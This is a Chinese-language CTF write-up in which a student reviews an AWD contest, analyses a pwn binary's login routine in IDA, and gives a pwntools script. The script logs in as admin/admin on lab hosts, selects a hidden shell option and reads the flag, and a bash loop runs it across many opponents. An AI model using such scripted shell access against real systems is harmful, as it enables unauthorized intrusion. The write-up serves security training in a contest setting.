之前准备的waf和监控脚本都没用上,因为上了脚本后三台web服务器都变成了异常,但听学长都能用,所以不知道是哪里出了问题,之后都在忙着做pwn题和写脚本,以及手动上传flag,导致四台服务器全程裸奔,上午一度掉到了倒数四十多名,也就是倒数第三,所幸福建省内的pwn手较少,下午也是靠着pwn服务器进了前20名,拿了个优胜奖。
这一次自身的不足:
第一点是脚本编写能力不足,在没有网络的情况下没办法去查怎么用python的request直接往网页上传漏洞。最后只能让队友帮忙写四十多个python脚本,然后写一个执行所有python文件的bash脚本,就这么笨的方法我还要手动ctrl+c结束那些对方关闭pwn端口的程序。本来12点多做出了pwn题,但是吃饭和写脚本的一个多小时基本只能靠队友一个个端口发payload拿flag,下午也因为5分钟一轮3分多钟要花在复制粘贴提交flag上导致我没办法去patch pwn程序(因为不熟练,可能还要琢磨一两个小时)。
第二点是服务器异常没有及时重置服务器,导致了额外的失分,毕竟被攻陷一轮才丢5分,服务器异常则是10分。
第三点是准备不充分,之前明明了解了root权限下的防御方式,也看了提权的文章,这次比赛也是比较好提权的ubuntu16.04,结果没有提前准备提权的EXP,还是报了比赛期间也许不禁止手机的侥幸心理。
接下来是pwn的write up:
首先看main函数
其中if语句判断admin账号是否登陆,如果admin登陆unk_6075A0为1,sub_402CA6返回1,那么通过验证获取shell(这一点可以通过直接输入1650553704,收到提示不是admin用户)
为此接下来查看登陆程序:
这个程序非常长,我花了一上午没有看出来,主要是卡在各种函数不认识,比如fstream、open、is_open之类的,IDA每次出现这种std开头的超长函数都让我难以理解,可能是大脑抗拒去阅读它们吧,希望能早日适应。(其中name和password两个参数是我改名后的)
std::__cxx11::basic_string,std::allocator>::basic_string(&name);
std::operator<<>(&std::cout, "Please input you name: ");
std::operator>>,std::allocator>(&std::cin, &name);
std::operator<<>(&std::cout, "Please input you password: ");
std::operator>>>(&std::cin, &password);
std::basic_fstream>::basic_fstream((__int64)&v23);
std::basic_fstream>::open(&v23, aUserdata, 8LL);
if ( (unsigned __int8)std::basic_fstream>::is_open((__int64)&v23) ^ 1 )
{
v1 = std::operator<<>(&std::cout, "can't open file ");
v2 = std::operator<<>(v1, aUserdata);
std::ostream::operator<<(v2, &std::endl>);
exit(0);
}
std::allocator::allocator(&v28);
std::__cxx11::basic_string,std::allocator>::basic_string(&v27, "tmp", &v28);
v3 = sub_404F11(&name, &v27);
std::__cxx11::basic_string,std::allocator>::~basic_string(&v27);
std::allocator::~allocator(&v28);
if ( v3 )
{
v4 = std::operator<<>(&std::cout, aUserdata);
std::ostream::operator<<(v4, &std::endl>);
}
v18 = 0LL;
v19 = 0LL;
v20 = 0LL;
v21 = 0LL;
v22 = 0;
sub_402ABE(&password, (__int64)&v18);
std::allocator::allocator(&v29);
std::__cxx11::basic_string,std::allocator>::basic_string(&v17, &v18, &v29);
std::allocator::~allocator(&v29);
std::__cxx11::basic_string,std::allocator>::basic_string(&v16);
std::__cxx11::basic_string,std::allocator>::basic_string(&v15);
while ( (unsigned __int8)std::basic_ios>::eof(&v24) ^ 1 )
{
v5 = std::operator>>,std::allocator>(&v23, &v16);
std::operator>>,std::allocator>(v5, &v15);
v6 = (unsigned __int8)sub_404F11(&v16, &name) || (unsigned __int8)sub_404F11(&v15, &v17);
if ( v6 )
{
v7 = std::operator<<>(&std::cout, "welcome ");
v8 = std::operator<<,std::allocator>(v7, &name);
std::ostream::operator<<(v8, &std::endl>);
*a1 = sub_404F95((__int64)&v16, (__int64)"admin") != 0;//重点!!!!
a1[1] = 1;
std::basic_fstream>::close(&v23);
goto LABEL_28;
}
v9 = (unsigned __int8)sub_404F11(&v16, &name) && (unsigned __int8)sub_404FBF(&v15, &v17);
if ( v9 )
{
v10 = std::operator<<>(&std::cout, "Password error!");
std::ostream::operator<<(v10, &std::endl>);
std::basic_fstream>::close(&v23);
goto LABEL_28;
}
v11 = (unsigned __int8)sub_404FBF(&v16, &name) && (unsigned __int8)sub_404F11(&v15, &v17);
if ( v11 )
{
v12 = std::operator<<>(&std::cout, "username error!");
std::ostream::operator<<(v12, &std::endl>);
std::basic_fstream>::close(&v23);
goto LABEL_28;
}
}
std::basic_fstream>::close(&v23);
v13 = std::operator<<>(&std::cout, "username does not exist!");
std::ostream::operator<<(v13, &std::endl>);
LABEL_28:
std::__cxx11::basic_string,std::allocator>::~basic_string(&v15);
std::__cxx11::basic_string,std::allocator>::~basic_string(&v16);
std::__cxx11::basic_string,std::allocator>::~basic_string(&v17);
std::basic_fstream>::~basic_fstream(&v23);
return std::__cxx11::basic_string,std::allocator>::~basic_string(&name);
看似非常长的程序,其实就是读取根目录下的UserData文件,里面有三行,分别是账号admin guest ctf,空格后跟着一串加密后的密码,只要输入的账号密码与之匹配就行了。整段代码刨除一大堆判断是否能打开文件、账号密码是否匹配外,只有两行是我们需要的
*a1 = sub_404F95((__int64)&v16, (__int64)"admin") != 0;
a1[1] = 1;
可以看到只要输入的是admin,那么sub_402CA6就会返回1,从而通过if验证,这时候输入1650553704就能得到shell
(其实我都没看完程序,因为中间没仔细看,没发现UserData里的密码是加密后的,因为没法解密就随便试出了账号与密码相同。。。)
构造payload
from pwn import *
#context.log_level = 'debug'
s=remote("172.16.5.10",5066)#连接十号主机
s.sendlineafter("choose:","1")#选择登陆
s.sendlineafter("name: ","admin")#输入账号密码
s.sendlineafter("password: ","admin")
s.sendlineafter("your choose:","1650553704")#选择执行system("/bin/sh")
s.sendlineafter("shell:\n","cat flag")#获取flag
a=s.recv()
print a
bash脚本如下(省略20以后)
python 10.py
python 12.py
python 13.py
python 15.py
python 16.py
python 17.py
python 18.py
python 19.py
其实这次pwn服务器拿flag挺简单的,考察的只是看IDA代码的基本能力,花了两个多小时才拿到flag也是自己基本功不够。
最后再加上一些这次AWD学到的常识:
说明书是这样的,其中登陆本地服务器就是输入172.16.9.0/24的网址,如果是web网页就直接输入ip地址
web服务器就用mobaXtern之类的ssh工具连接就好,pwn服务器也是一样。
如果要登陆别人的web页面,就是访问172.16.5.0/24的网址,比如172.16.5.22:5067